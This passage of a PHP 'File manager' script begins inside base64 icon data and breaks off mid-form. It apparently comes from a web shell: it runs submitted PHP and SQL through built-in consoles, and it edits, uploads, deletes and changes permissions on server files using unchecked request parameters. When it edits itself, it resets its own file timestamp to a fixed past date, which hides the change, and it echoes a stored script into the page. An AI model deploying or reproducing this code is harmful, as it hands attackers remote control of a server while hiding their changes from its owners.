Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
